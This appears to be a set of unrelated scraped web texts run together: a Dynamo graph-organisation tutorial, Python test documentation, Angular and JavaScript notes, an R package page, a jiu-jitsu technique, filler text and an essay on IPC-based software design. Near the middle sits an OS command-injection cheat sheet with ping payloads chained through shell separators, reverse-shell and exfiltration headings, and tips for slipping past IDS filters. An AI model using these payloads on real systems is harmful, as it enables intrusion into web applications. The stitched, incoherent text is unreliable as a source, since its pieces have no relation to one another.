Graph Strategies
Prior to this chapter, the Primer has covered how to implement the powerful visual-scripting capabilities of Dynamo. A good understanding of these capabilities is a solid foundation and the first step in building robust visual programs. When we use our visual programs in the field, share them with colleagues, troubleshoot errors, or test limits we have additional issues to deal with. If someone else will be using your program or you are expecting to open it six months from now, it needs to have an immediate graphic and logical clarity. Dynamo has many tools to manage the complexity of your program, and this chapter will give guidelines on when to use them.
Reduce Complexity
As you develop your Dynamo graph and test ideas, it can quickly grow in size and complexity. While it is important that you create a functioning program, it is equally important to do it as simply as possible. Not only will your graph run faster and more predictably, you along with other users will understand its logic later on. The following are several ways that will help you clarify the logic of your graph.
Modularize with Groups
- Groups allow you to create functionally distinct parts as you build a program
- Groups allow you to move large parts of the program around while maintaining modularity and alignment
- You can change the color of the group to differentiate what Groups are doing (inputs vs functions)
- You can use groups to start organizing your graph to streamline Custom Node creation
The colors in this program identify the purpose of each group. This strategy can be used to create hierarchy in any graphic standards or templates you develop.
- Function group (blue)
- Input group (orange)
- Script group (green)
For how to use Groups, refer to Managing Your Program.
Develop efficiently with Code Blocks
At times, you can use a Code Block to type a number or node method faster than searching (Point.ByCoordinates, Number, String, Formula)
Code Blocks are useful when you want to define custom functions in DesignScript to reduce the number of nodes in a graph
Both 1 and 2 perform the same function. It was much faster to write a few lines of code than it was to search for and add each node individually. The code block is also far more concise.
- Design Script written in Code Block
- Equivalent program in nodes
For how to use Code Block, refer to What's a Code Block.
Condense with Node to Code
- You can reduce the complexity of a graph by using Node to Code which will take a collection of simple nodes and write their corresponding DesignScript in a single Code Block
- Node to Code can condense code without eliminating the program’s clarity
- The following are the pros of using Node to Code:
- Easily condenses code into one component that is still editable
- Can simplify a significant portion of the graph
- Useful if the ‘mini-program’ will not often be edited
- Useful for incorporating other code block functionality, like functions
- The following are the cons of using Node to Code:
- Generic naming makes it less legible
- More difficult to understand for other users
- No easy way to return to the visual programming version
- Existing program
- Code Block created from Node to Code
For how to use Node to Code, refer to Design Script Syntax.
Access data flexibly with List@Level
- Using List@Level can help you reduce the complexity of your graph by replacing List.Map and List.Combine nodes which might occupy a considerable amount of canvas space
- List@Level provides you with a quicker way than List.Map/List.Combine to construct node logic by allowing you to access data at any level in a list right from the input port of a node
We can verify how many True values BoundingBox.Contains is returning and in which lists by activating List@Level for CountTrue's "list" input. List@Level allows the user to determine at which level the input will take data from. Using List@Level is flexible, efficient, and highly encouraged over other methods involving List.Map and List.Combine.
- Counting true values at List Level 2
- Counting true values at List Level 3
For how to use List@Level, refer to Lists of Lists.
Maintain Readability
In addition to making your graph as simple and efficient as possible, strive for graphic clarity. Despite your best efforts to make your graph intuitive with logical groupings, relationships might not be readily apparent. A simple Note inside of a Group or renaming a slider can save you or another user from unnecessary confusion or panning across the graph. The following are several ways that will help you apply graphic consistency within and across your graphs.
Visual continuity with Node Alignment
- To reduce your work after you finished building your graph, you should try to ensure the node layout is legible by aligning nodes often and as you go
- If others are going to be working with your graph, you should ensure that your node-wire layout flows easily before shipping
- To help you with alignment, use the "Cleanup Node Layout" feature to automatically align your graph, though less precisely than doing it yourself
- Unorganized graph
- Aligned graph
For how to use Node Alignment, refer to Managing Your Program.
Descriptive labeling by renaming
- Renaming inputs can help others easily understand your graph, especially if what they plug into will be off the screen
- Be wary of renaming nodes other than inputs. An alternative to this is creating a custom node from a node cluster and renaming that; it will be understood that it contains something else
- Inputs for surface manipulation
- Inputs for architectural parameters
- Inputs for drainage simulation script
To rename a node, right click on its name and choose "Rename Node...".
Explain with Notes
- You should add a Note if something in the graph requires a plain language explanation that the nodes can not express
- You should add a Note if a collection of nodes or a Group is too large or complex and can’t be easily understood right away
- A Note describing the portion of the program that returns raw translation distances
- A Note describing the code that maps those values to a Sine wave
For how to add a Note, refer to Managing Your Program.
Flex Continuously
While building your visual-script, it is important to verify that what is being returned is what you expected. Not all errors or issues will cause the program to fail immediately, especially null or zero values that could affect something far downstream. This strategy is also discussed in the context of text-scripting in Scripting Strategies. The following practice will help ensure that you are getting what you expected.
Monitor data with Watch and Preview Bubbles
- Use Watch or Preview Bubbles as you build the program to verify that key outputs are returning what you expected
The Watch nodes are being used to compare:
- The raw translation distances
- The values passed through the Sine equation
For how to use Watch, refer to Library.
Ensure Reusability
It is highly likely that someone else will be opening your program at some point, even if you are working independently. They should be able to quickly understand what the program needs and produces from its inputs and outputs. This is especially important when developing a Custom Node to be shared with the Dynamo community and used in someone else’s program. These practices lead to robust, reusable programs and nodes.
Manage the I/O
- To ensure legibility and scalability, you should try and minimize inputs and outputs as much as possible
- You should try to strategize how you are going to build the logic by first creating a rough outline of how the logic could work before you even add a single node to the canvas. As you develop the rough outline, you should keep track of which inputs and outputs will go into scripts
Use Presets to embed input values
- If there are particular options or conditions that you want embedded in the graph, you should use Presets for quick access
- You can also use Presets to reduce complexity by caching specific slider values in a graph with long run times
For how to use Presets, refer to Managing Your Data with Presets.
Contain programs with Custom Nodes
- You should use a Custom Node if your program can be collected into a single container
- You should use a a Custom Node when a portion of the graph will be reused often in other programs
- You should use a Custom Node if you want to share a functionality with the Dynamo Community
Collecting the point translation program into a Custom Node makes a robust, unique program portable and far easier to understand. Well named input ports will help other users understand how to use the node. Remember to add descriptions and required data types for each input.
- Existing attractor program
- Custom Node that collects this program, PointGrid
For how to use Custom Nodes, refer to Custom Node Introduction.
Build templates
- You can build templates to establish graphic standards across your visual graphs to ensure collaborators have a standardized way of understanding graph
- When building a template, you can standardize group colors and font sizes to categorize types of workflows or data actions.
- When building a template, you can even standardize how you want to label, color, or style the difference between front-end and back-end workflows in your graph.
- The UI, or front-end, of the program includes a project name, input sliders, and import geometry.
- The back-end of the program.
- Group color categories (the general design, inputs, Python scripting, imported geometry).
Exercise - Architectural Roof
Download the example file that accompanies this exercise (Right click and "Save Link As..."). A full list of example files can be found in the Appendix. RoofDrainageSim.zip
Now that we have established several best practices, let’s apply them to a program that was put together quickly. Though the program succeeds in generating the roof, the state of the graph is a "mind-map" of the author. It lacks any organization or description of its use. We will walk through our best practices to organize, describe, and analyze the program so other users can understand how to use it.
The program is functioning, but the graph is disorganized.
Let's start by determining the data and geometry returned by the program.
Understanding when major changes to the data occur is crucial to establishing logical divisions, or modularity. Try inspecting the rest of the program with Watch nodes to see if you can determine groups before moving on to the next step.
- This Code Block with a math equation looks like a crucial piece of the program. A Watch node displays that it is returning lists of translation distances.
- The purpose of this area isn't readily obvious. The arrangement of True values at list level L2 from BoundingBox.Contains and the presence of List.FilterByBoolMask suggests we are sampling a portion of the point grid.
Once we understand the elemental parts of the program, let's put them in Groups.
Groups allow the user to visually differentiate the parts of the program.
- Import 3D site model
- Translate point grid based on Sine equation
- Sample portion of point grid
- Create architectural roof surface
- Create glass curtain wall
With Groups established, align the nodes to create visual continuity across the graph.
Visual continuity helps the user to see the program flow and implicit relationships between nodes.
Make the program more accessible by adding another layer of graphic improvements. Add notes to describe how a specific area of the program works, give inputs custom names, and assign colors to different types of groups.
These graphic improvements tell the user more about what the program is doing. The different group colors help to distinguish inputs from functions.
- Notes
- Inputs with descriptive names
Before we start to condense the program, let's find a strategic location to introduce the Python script drainage simulator. Plug the output of the first scaled roof surface into the respective scripting input.
We've chosen to integrate scripting at this point in the program so the drainage simulation can be run on the original, single roof surface. That specific surface is not being previewed, but it saves us from having to choose the top surface of the chamfered Polysurface.
- Source geometry for script input
- Python node
- Input sliders
- On/off "switch"
Let's simplify the graph now that everything is in place.
Condensing our program with Node to Code and Custom Node has greatly reduced the size of the graph. The groups that create the roof surface and walls have been converted to code since they are very specific to this program. The point translation group is contained in a Custom Node as it could be used in another program. In the example file, create your own custom node from the translate points group.
- Custom Node to contain the "translate point grid" group
- Node to Code to condense the "create architectural roof surface and curtain wall" groups
As a final step, create presets for exemplary roof forms.
These inputs are the primary drivers of the roof form and will help users see the potential of the program.
Our program with views of two presets.
The roof drainage patterns give the user an analytical view of the respective presets.


management_layer.tests.test_permission_utils module¶
-
class
management_layer.tests.test_permission_utils.
TestRequesterHasRoleDecorator
(methodName='runTest')[source]¶ Bases:
aiohttp.test_utils.AioHTTPTestCase
These tests exercise the functionality provided by the @require_permissions decorator.
-
test_body_field_with_custom_fields_names_and_domain
(mocked_get_user_roles_for_domain)[source]¶ If a body field is present, it must be a dictionary containing: * the target user id (user_id) * the role to be assigned (role_id) * either the site or domain to which it must be assigned (site_id or role_id)
-
test_body_field_with_custom_fields_names_and_site
(mocked_get_user_roles_for_site)[source]¶ If a body field is present, it must be a dictionary containing: * the target user id (user_id) * the role to be assigned (role_id) * either the site or domain to which it must be assigned (site_id or role_id)
-
test_body_field_with_domain_use_case
(mocked_get_user_roles_for_domain)[source]¶ If a body field is present, it must be a dictionary containing: * the target user id (user_id) * the role to be assigned (role_id) * either the site or domain to which it must be assigned (site_id or role_id)
-
test_body_field_with_site_use_case
(mocked_get_user_roles_for_site)[source]¶ If a body field is present, it must be a dictionary containing: * the target user id (user_id) * the role to be assigned (role_id) * either the site or domain to which it must be assigned (site_id or role_id)
-
test_no_body_field_with_domain_use_case
= None¶
-
test_no_body_field_with_domain_use_case_0_target_user_id_field
()¶
-
test_no_body_field_with_domain_use_case_1_target_invitation_id_field
()¶
-
test_no_body_field_with_site_use_case
= None¶
-
test_no_body_field_with_site_use_case_0_target_user_id_field
()¶
-
test_no_body_field_with_site_use_case_1_target_invitation_id_field
()¶
-
-
class
management_layer.tests.test_permission_utils.
TestRequirePermissionsDecorator
(methodName='runTest')[source]¶ Bases:
aiohttp.test_utils.AioHTTPTestCase
These tests exercise the functionality provided by the @require_permissions decorator.
-
test_all
(mocked_get_user_roles_for_site, mocked_get_role_resource_permissions)[source]¶ A test of the ‘all’ operator by mocking roles, resources and permissions.
-
test_any
(mocked_get_user_roles_for_site, mocked_get_role_resource_permissions)[source]¶ A test of the ‘any’ operator by mocking roles, resources and permissions.
-
test_combo
(mocked_get_user_roles_for_site, mocked_get_role_resource_permissions)[source]¶ A test of the ‘any’ operator by mocking roles, resources and permissions.
Parameters: - mocked_get_user_roles_for_site – Function mocked by @patch decorator
- mocked_get_role_resource_permissions – Function mocked by @patch decorator
-
test_empty_resource_permissions_lists
(mocked_function)[source]¶ Check the expected behaviour when an empty resource permission list is used with the any or all operation. We mock a response for the get_user_roles_for_site() function in order to test the case where the specified required resource permission list is empty.
-
test_keyword_args
(mocked_function)[source]¶ Check that keyword-based lookups of the user and site information works. We mock a response for the get_user_roles_for_site() function in order to check that it was called with the appropriate values.
-
test_management_portal_allowed_permission
(mocked_function)[source]¶ When a permission decorator specifies that the Management Portal should be allowed to make the request, even if the user does not have the permission, the permission is granted.
-
test_name_and_docstring
()[source]¶ The name attribute and docstring of a decorated function should stay the same when the decorator is implemented properly.
-
test_positional_args
(mocked_function)[source]¶ Check that positional argument lookups of the request works. We mock a response for the get_user_roles_for_site() function in order to check that it was called with the appropriate values.
-
-
class
management_layer.tests.test_permission_utils.
TestUtils
(methodName='runTest')[source]¶ Bases:
aiohttp.test_utils.AioHTTPTestCase
-
test_role_has_permissions
(mocked_roleresourcepermission_list)[source]¶ Test that the “role_has_permissions” function work as intended. :param mocked_roleresourcepermission_list: Function mocked by @patch
decorator
-


Angular Router
- Routing is a mechanism used by Angular framework to manage the "paths" and "routes" of our Angular applications
- Routing strategy helps in navigation between various views in our Angular Application
- Angular framework comes with "Router" Module which has everything we need to design, develop and implement routes and navigation links
- Router is singleton - which means there is ONLY one instance of the router in our Angular Application
- The Router module is found in the package @angular/router
- We need to setup Router array - every time a request is made, the router will search in the list of array and find the most relevant match
- Router has states - which helps us get important information about the current state and data related to routes


The dynamic set S is represented by a direct address table T of length m. To find the maximum element of S, each time get an element T[k] of the direct address table T and compare it with the variable ‘max’ (initially max have very smaller value). If T[k] is greater than the ‘max’, store it in ‘max’. Repeat this until all the elements of the direct-address table are compared with ‘max’. The last value that is left in the ‘max’ is the required maximum value.
A procedure to find the maximum element of S:
MAX-OF-SET (T, m)
// -∞ is a very small value
1. max = -∞
2. for k = 0 to m-1
3. If T[k] ≠ NIL and max < T[k]
4. max = T[k]
5. return max
If the m-1 slot is not empty, then the procedure checks all the m slots of direct address table T for maximum value.
Thus, the worst – case time complexity of the procedure is time.
Consider a bit vector A of length m, which is used to direct access a table. A bit vector is an array contains either 0 or 1 as its elements.
The size of A bit vector depend on the largest element in dynamic set. The bit vector A is used to represent whether ith element is available in dynamic set or not. That is,
With the help of bit vector a table can access directly. Therefore the runtime of dictionary operation is.
Consider following example:
Suppose following elements are present in dynamic set:
Only the above blocks are allocated and rest all blocks are free. The bit vector A corresponding to dynamic set is as follows:
|
Key |
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
|
bits |
1 |
1 |
0 |
1 |
0 |
0 |
1 |
1 |
0 |
1 |
0 |
1 |
1 |
0 |
1 |


Add A Review for
Name:
Choose a rating:
1
2
3
4
5
Describe your experience at this restaurant:
Back
Submit Review


What goes into the shirt on your back
Above is a timeline showing how your favorite t-shirt travels from a seed in the ground to a shirt on your back. If you would like to read each caption, click on it in order to pause the timeline.
If the map does not load click here in order to view it.
WHAT'S WRONG WITH THESE PICTURES?
How You Can Help
- Consider buying American made items, according to Made in USA forever
Foreign labor standars allow unsafe worker conditions in many countires. When you buy American you support not only American manufactuers
but also American workers, safe working conditions, and child labor laws.
- According to An article posted on Huffpost Clothes can be saved from the landfill and recycled similarly to plastics, paper and cans, sorted for further use as secondhand clothes,
commerical polishing cloths or reprocessed fibers in upholstery and insulation. In addition to making tax-deductible donations to long-standing organizations with neighborhood
collection centers such as Goodwill and Dress for Sucesss, San FRancisco residents can deposit unwatned clothing in one hundred different collection bins around the city handled by
textile collector and processor I:CO, and New York City, Boston and WAshington D.C REsidents can do so in their building through bins provided by Wearable Collections.
- Consider shopping in your own closet! A new shirt,dress, or coat can brighten your day, or even bouy you for an entire season. As can the discovery of a forgotten favorite that you already have.


All Google Apps domains MUST be verified. Depending upon your capabilities, one of these options may make more sense than the other.
Prior to leveraging Google Apps, MX records will need to be created for the domain.


Over Under Guard Pass
2 versions, sit on the foot and hug the leg.
TRex move in on ops legs, cup hands and control legs just below the knee, step left push legs right a bit, get knees under ops legs and sit down.
Right arm goes under ops left leg and grips belt/waist/top of thigh, left arm snakes under and grabs pant cuff/ops ankle, left shoulder sinks into ops abs, keep head up,
Move to centre and gets ops left leg/knee pointing straight up, this makes passing easier, shoulder stand to pass and kick legs up and over, consolidate side control,
by moving back towards centre to push ops legs over and toward the ground, ops knees pointing away from you or up.
2nd version has you sit on ops left foot instead of hugging the left leg, and punch/push ops leg straight as you step over it into side control, other parts are the same.


Our First Page!
Thanks, Epicodus!
This is our first webpage.
Do you like it?
This is a list of coding languages
HTML
CSS
JavaScript
React


Array methods
Arrays provide a lot of methods.
Below are the most array methids you will use
Arrays provide a lot of methods.
Below are the most array methids you will use
We already know methods that add and remove items from the beginning or the end:
How to delete an element from the array?
The arrays are objects, so we can try to use delete:
let arr = ["I", "go", "home"];
delete arr[1]; // remove "go"
alert( arr[1] ); // undefined
// now arr = ["I", , "home"];
alert( arr.length ); // 3
The syntax is:
arr.splice(start[, deleteCount, elem1, ..., elemN])
The syntax is:
arr.slice([start], [end])
It returns a new array copying to it all items from index start to end (not including end). Both start and end can be negative, in that case position from array end is assumed.
The method arr.concat creates a new array that includes values from other arrays and additional items.
The syntax is:
arr.concat(arg1, arg2...)
It accepts any number of arguments – either arrays or values. The result is a new array containing items from arr, then arg1, arg2 etc. If an argument argN is an array, then all its elements are copied. Otherwise, the argument itself is copied.
The arr.forEach method allows to run a function for every element of the array.
The syntax:
arr.forEach(function(item, index, array) {
// ... do something with item
});
Note: this is similar to for loop function
The find method looks for a single (first) element that makes the function return true.
The syntax is similar to find, but filter returns an array of all matching elements:
let results = arr.filter(function(item, index, array) {
// if true item is pushed to results and the iteration continues
// returns empty array if nothing found
});
The arr.map method is one of the most useful and often used. It calls the function for each element of the array and returns the array of results.
The syntax is:
let result = arr.map(function(item, index, array) {
// returns the new value instead of item
});
The method arr.reverse reverses the order of elements in arr.
for example
let arr = [1, 2, 3, 4, 5];
arr.reverse();
alert( arr ); // 5,4,3,2,1
Here’s the situation from real life. We are writing a messaging app, and the person enters the comma-delimited list of receivers: John, Pete, Mary. But for us an array of names would be much more comfortable than a single string. How to get it?
The str.split(delim) method does exactly that. It splits the string into an array by the given delimiter delim.
In the example below, we split by a comma followed by space:
let names = 'Bilbo, Gandalf, Nazgul';
let arr = names.split(', ');
for (let name of arr) {
alert( `A message to ${name}.` ); // A message to Bilbo (and other names)
}
The split method has an optional second numeric argument – a limit on the array length. If it is provided, then the extra elements are ignored. In practice it is rarely used though:


Select video file:
Format:
Pro Bundle
gif (maximum 20 seconds)
mp4 (black background)
Show my unscreen videos


DETECTION
All platforms
ping <IP_ADDRESS>
|| ping -i 30 <IP_ADDRESS> ; x || ping -n 30 <IP_ADDRESS> &
| ping –i 30 <IP_ADDRESS> |
| ping –n 30 <IP_ADDRESS> |
& ping –i 30 <IP_ADDRESS> &
& ping –n 30 <IP_ADDRESS> &
; ping <IP_ADDRESS> ;
%0a ping –i 30 <IP_ADDRESS> %0a
` ping <IP_ADDRESS> `
EXPLOITATION
Upload and execute reverse shell
Using mail command to send command output via SMTP
Redirect command output to file in webroot
IDS BYPASS
- If ; || & filtered then we can still use < > redirection or command line program switch to output malicious
- code somewhere to webroot where it can be executed with browser (ie. PHP injection)
- Dangerous characters can be escaped with \but \itself don't have to be filtered. Prepend every dangerous character with \
TIPS&TRICKS
Grouping output from multiple commands
(ps; netstat) >> running.txt


Pitchfork 8-bit kale chips, Brooklyn flexitarian squid next level iPhone organic kogi meggings ethical bicycle rights tattooed. Four dollar toast Tumblr brunch, sustainable jean shorts cliche Banksy next level banjo tousled salvia cronut tattooed. Fixie Pitchfork cardigan Neutra mlkshk. Four dollar toast gastropub cardigan ugh taxidermy banh mi. Salvia meditation jean shorts try-hard, Helvetica irony Carles lomo occupy stumptown freegan Portland. Tofu pop-up biodiesel, direct trade typewriter Kickstarter flannel lomo hoodie cold-pressed mustache. Pork belly DIY asymmetrical post-ironic PBR single-origin coffee fashion axe, vinyl literally Wes Anderson. Wolf irony aesthetic single-origin coffee meh sustainable. Biodiesel slow-carb taxidermy, Intelligentsia brunch chillwave meditation whatever Godard crucifix jean shorts literally hoodie direct trade. Photo booth authentic Kickstarter American Apparel Odd Future master cleanse lumbersexual, YOLO raw denim hashtag chambray Schlitz irony readymade PBR&B. Viral cronut American Apparel squid raw denim heirloom, next level trust fund cold-pressed pop-up jean shorts fashion axe gluten-free. Pinterest ugh messenger bag, jean shorts paleo twee keytar ethical cardigan try-hard mumblecore quinoa. Gentrify ennui pork belly leggings pop-up selvage. Jean shorts cold-pressed tilde seitan, kale chips master cleanse asymmetrical umami tweet.


Efficient algorithm for solving PU (Positive and Unlabelled) problem in low or high dimensional setting with lasso or group lasso penalty. The algorithm uses Maximization-Minorization and (block) coordinate descent. Sparse calculation and parallel computing are supported for the computational speed-up. See Hyebin Song, Garvesh Raskutti (2017) <arXiv:1711.08129>.
| Version: | 3.1.1 |
| Depends: | R (≥ 2.10) |
| Imports: | Rcpp (≥ 0.12.8), methods, Matrix, doParallel, foreach, ggplot2 |
| LinkingTo: | Rcpp, RcppEigen, Matrix |
| Suggests: | testthat, knitr, rmarkdown |
| Published: | 2018-05-15 |
| Author: | Hyebin Song [aut, cre], Garvesh Raskutti [aut] |
| Maintainer: | Hyebin Song <hsong56 at wisc.edu> |
| BugReports: | https://github.com/hsong1/PUlasso/issues |
| License: | GPL-2 |
| URL: | https://arxiv.org/abs/1711.08129 |
| NeedsCompilation: | yes |
| CRAN checks: | PUlasso results |
| Reference manual: | PUlasso.pdf |
| Vignettes: |
PUlasso-vignette |
| Package source: | PUlasso_3.1.1.tar.gz |
| Windows binaries: | r-devel: PUlasso_3.1.1.zip, r-release: PUlasso_3.1.1.zip, r-oldrel: PUlasso_3.1.1.zip |
| OS X binaries: | r-release: PUlasso_3.1.1.tgz, r-oldrel: PUlasso_3.1.1.tgz |
| Old sources: | PUlasso archive |
Please use the canonical form https://CRAN.R-project.org/package=PUlasso to link to this page.


I am here to talk about three major problems experienced by people involved in software, both on the developer end and on the user end. My goal is to provide a rubric for evaluating any system for creating software and presenting it to users, be it the system of writing a load of javascript and giving your users a webpage, or the system of writing a load of C# and giving your (Windows) users a `rich application'. Further, I aim, in the course of this discussion, to present a hypothetical platform that addresses all the points I am going to make against existing systems. I am going to take the liberty, contra the advice of Seth Godin and others, of assuming that software *is* about function (as opposed to about `networking users' or whatever the trendy thing is today). And certainly, some software is. Despite the influence of `social software' like Facebook and Squidoo, there will always be a need for that kind of software you use huddled away in a dark studio or office--Photoshop, audacity, emacs, bash. This is the sort of software I wish to be able to use more powerfully--and write more cleanly--as a result of having a system like that to be presented here. Principally, any platform (understood in the above sense) should address concerns in the following three areas: 1. Distribution 2. Presentation 3. Interoperability 1. Distribution The problem of distribution first shows up in a project before a line of code is written, when the team needs to decide on a coding platform. On the face of it, maybe it's just Macintosh or Linux or Windows, but especially now, it's a veritable combinatorial explosion of possibilities: XP vs. Vista vs. 7, with libfoo-v1.2 or libfoo-v1.1 and libbar-v0.1, or GNOME vs. KDE3 vs. KDE4 vs. ratpoison vs. ... or 32-bit vs. 64-bit, and on and on and on. Because distribution is a problem for developers (and indeed, the concern of our three that most substantially affects them), the platform that solves distribution issues almost certainly wins. This is why Windows won early on--it was popular enough, and if you wrote a sufficiently popular application Microsoft would ensure that application worked on future Windows forever after. It is also why, as Joel Spolsky explains, Windows is losing now, both as they dropped the ball on backwards-compatability and because they are no longer by far the only widespread operating system. But something is winning instead, and it is the platform of the web browser, built on the paradigm of the cloud. Now, when you want to write an email, you don't open a rich app, but you log into a site with some AJAX interface, downloaded from a server that stores all your personal communication on some hard disk not under your control. This is notionally horrible for all kinds of reasons, but it wins because it lets developers hit all users at once without having to write a^n versions of their application, and what makes developers happy gets all the cool apps, and hence all the users. But it also makes the users happy, because it provides an almost seamless transition from learning about the application (which will almost certainly happen through some webpage, because this is what the web is actually for--sharing information) and using it: You click on a link from your friend's blog taking you to gmail.com and voila! You're using the app with one click between being convinced to use it and actually using it. Compare this to the process of clicking a download link, reading some terms and conditions (well, actually, not reading them and feeling slightly guilty about it), selecting an installation folder (well, actually OKing the default and feeling slightly uncertain about whether that is the best idea because it really doesn't matter), waiting for the installation (and worrying that it might be irreversably eating your system because, after all, you have given it far more permissions than you really should ever have to give to an essentially arbitrary person). The web app has zero of these steps (except for load times, which are often comparatively short), and (possibly less importantly, but still a factor) none of the negative emotions that thoughtful users might experience. So certainly, given that Windows and Mac aren't both going away (and probably neither are) in the near future, a successful platform will certainly have to be browser-like in that it is a runtime installed on every platform that will run applications downloaded from the internet inside a sandbox. This eliminates the need for any annoying installation process, and eliminates the need to give permission to some random game programmer to, at install time, upload your `My Pictures' folder to Facebook if he so desires. It doesn't necessarily provide the seamless link between finding the app in a browser and using it, but if the browser (through plugins or such) could invoke this runtime (say with the url of the app it needed to run) this would also be solved. So this almost gives us that the browser is optimal, but it has a few problems, also both for developers and users. 2. Presentation The web platform's presentation problem, on its face, is simply that presenting the functionality of their software is hard for developers. Anyone who has tried to design a webpage with something horizontally centred on the screen knows this, as does anyone who has even looked at the source code for gmail or facebook. Just to make a dropdown menu or a sidebar that works perfectly on all browsers takes massive amounts of work. Joel Spolsky thinks that the future is for someone to solve this problem. While he may well be right, as the system of `web apps written with this hypothetical NewSDK' solves all developers' problems (and, as mentioned before, he who pleases the developers wins the day), this solution ignores the problems that users have. Here, I don't particularly mean the fiddlyness of web apps--Mozilla may even manage to make XUL sufficiently nice that this is harder to complain about. Rather, I mean the restrictions that come about from the developer choosing how you access his functionality. This is a problem both with rich clients and with web apps, and examples abound. Doninos Pizza now lets you order your pizza online, now, and they have this nice javascript interface with lots of radio buttons and checkboxes and combo boxes to select whether you want peppers or olives or pepperoni or Italian sausage and on half or all or a seventh of your pizza and where you want it delivered. So say you're in college and you have a party every week and want to order 10 pizzas every Saturday at 1900. And eventually, you get a good idea of what works and realize that you can order 10 pepperoni. Except one of your friends really loves the garlic crust, another loves pineapple, and another is vegan, so you end up getting 7 pepperoni, one pepperoni with garlic crust, one Hawaiian, and one of those disgusting `white' pizzas with the spinach and fake cheese and whatever else. But eventually you settle on the perfect 10 pizzas that make your standard guests maximally happy, and you have these stored in a file somewhere. Now, every Saturday you open this file and fight your way through 10 sets of radio buttons and checkboxes to finally get to the screen where it tells you that `Jimmy is preparing your order!' Or say you use Photoshop, and you really like its `sharpen' function, and you want to sharpen all 1000 photos you took on your spring break trip to Israel. And it has to be Photoshop, because ImageMagick's sharpen function doesn't cut it for you. But the special sharpen function is locked inside a a big GUI under some subsubmenu with a couple intervening dialogs so you can set it how you want. So now you have to fight through 1000 instances of menus and submenus and dialogs, and eventually you give up and hire your little brother to do it for you for 25 cents and a homework problem an hour. Except that then you realize that you don't exactly want him to see your spring break pictures, so you use ImageMagick instead and are sad. And the answer is not to simply implement another menu item for `sharpen multiple images' or an option to `upload your order file', as then if you instead want to apply blur to half of every third image you have to pray that the developer also thought of that. No developer is smart enough to think of every possible way a user may want to use his software, but because they think they must present their software in some GUI, they are simply left with enabling only those uses they thought of. The answer is also not for each app to have its own special scripting language. For one thing, writing a programming language is hard. Learning a programming language is not a cakewalk either, so let's not talk about learning one for every program you ever want to use, (not to mention learning all the quirks of each because not everybody (and probably almost nobody) is going to get the language design right because, well, making a programming language is hard!). The answer is to get out of the presentation business altogether. Admit that you don't know how best to present your functionality for every user out there, and move on. `But wait--you're telling me to make my users design an interface for my software? What happened to `choices are bad'?' I am saying that software shouldn't be tied to any particular interface, but that you should merely view yourself as supplying a standard interface that almost all of your users will love and use almost all of the time, rather than as supplying *the* interface to the functionality you made. And the point is that this isn't doing 50% more work to satisfy 5% of all customers, but rather it is doing no extra work other than deciding in the first place to design for a sensibly designed runtime. In particular, the setup we propose is the following: Every program's functionality is accessible only through IPC. So to blur an image in Photoshop--say, the region from (0, 0) to (40, 50) you send to Photoshop an IPC message of the flavour `blur,0-40,0-50,2443,[image_file]' and it does it and sends the result back to you on your IPC port 2443. Then supporting runtimes (a shell or a GUI or whatever) will bind various IPC calls to various interface elements that they define. So a GUI interface will define a bunch of buttons and bind them to the appropriate IPC calls, with parameters pulled from the appropriate GUI elements (textboxes, sliders, etc.). But this way, you can also have a shell interface, which defines a bunch of shell commands that it can bind to to appropriate IPC calls, pulling the parameters from command-line arguments and switches. In practice, you'll have the Photoshop binary that understands only IPC and has no notion of any associated GUI or shell or whatever. Then, separately, you have, for each type of interface, as associated `interface descriptor' file. So for the GUI, you have one descriptor file that describes the buttons and textboxes and their layout and IPC bindings, and, separately, for the shell, you have another descriptor file that describes the commands and their arguments and switches and their corresponding IPC bindings. And then, if you want, you can provide another descriptor for network access (so that people can use the program on your machine over an ssh tunnel, for instance, without your having to provide those people with a full shell that you then have to lock down). And you can provide another for brainwave input, if that becomes a thing, and on and on we could go. As an example of a GUI-type descriptor, take a file similar to: <window title="Photoshop"> <panel name="drawing"> <canvas name="main_canvas"> </panel> <panel name="sidebar"> ... <button name="blur" size="32x32" image="images/blur.png" tooltip="Blur" function="blur,main_canvas.getSelectionArea(),2443,mainCanvas.getContent() /> ... </panel> <event type="incoming" port="2443" function="main_canvas.setContent(recv())" /> Then the GUI-Photoshop is opened, the GUI runtime will interpret this file and build the appropriate buttons and panels which then, when the `blur' button is clicked, sends the appropriate message, whose response in turn is handled in the appropriate way. The advantage is that now, the Photoshop people can define a second interface as well: ... <command name="blur-rect" args="5" function="blur,$2-$3,$4-$5,2443,$1" onCall="to_write=$1" /> ... <event type="incoming" port="2443" function="write(recv(),$to_write)" /> Which a shell runtime will read and then define a new command `blur-rect' so that you can, in this shell, invoke: $ blur-rect image.png 0 40 0 50 And that will blur the appropriate part of the file. And so on. 3. Interoperability A further advantage of this approach is that not only can a human control your program better, but that another program can control your program if this becomes desirable. Anyone who has done bash scripting, with its ultra-expressive pipelines, knows that this is where real flexibility and power comes from. To have an IM client that can invoke a LaTeX processor to render some equations that you're talking about, and bring up a throwaway SVG drawing window for you to jot a quick illustration of something for the other person is only possible if all the programs involved cooperate, and exactly the way for this to happen is for app programs to explicity expose their functionality in the most general way, and then let the user decide how to invoke it. So the IM client shouldn't have to know (as in, be pre-programmed with knowledge about) about the TeX processor as such, but rather it should be easy to tell it to pass certain sorts of incoming messages (e.g. those matching the regex /$$.*?$$/) to some user-specified node (e.g. a LaTeX processor) or, at some point, for the user to manually hook up a given node (SVG drawing program) to the message-sending functionality (with the recipient (perhaps automatically via regex as in the LaTeX example) making the dual connection--message receiver to SVG displayer--on the other end). But aside from actively linking various programs for fun and profit, the user benefits even from simply having the ability to sniff and splice any given connection. A keylogger is simply a recording of all outbound connections from the keyboard driver node. A keystroke replayer is a keylogger that sniffs only on selective ports and then feeds a copy of that stream into the same port at some later time. A screen capture program is the recording of all inbound messages to the monitor node (or, if more concision is required, possibly to the GUI node). Logging is no longer a `cross-cutting concern' that needs to be addressed with new programming languages (`Aspect Oriented' programming seems to be the in-vogue attempt at a solution to this, but the security issues are proving to be an issue), but is simply exposing intra-program connections to the appropriately permissioned user and that user sniffing those connections. This is all by way of saying that while there are significant gains to be had from making the sending and receiving functions of IPC accessible and amenable to bindings and such (as we saw in the discussion of presentation), this is not sufficient. Rather, one should further expose the IPC primitives themselves--the connections between nodes and the events the various nodes subscribe to--to the user's control. Only then can a user can subscribe his special logging program as a listener to all the events he wants to log and splice it into all the connections he needs to log from. This is what makes actually constructing a runtime as described here such a challenge--typically IPC is a kernel-level matter (even for microkernels!), and so making IPC primitives (connections and events) into first-class objects is 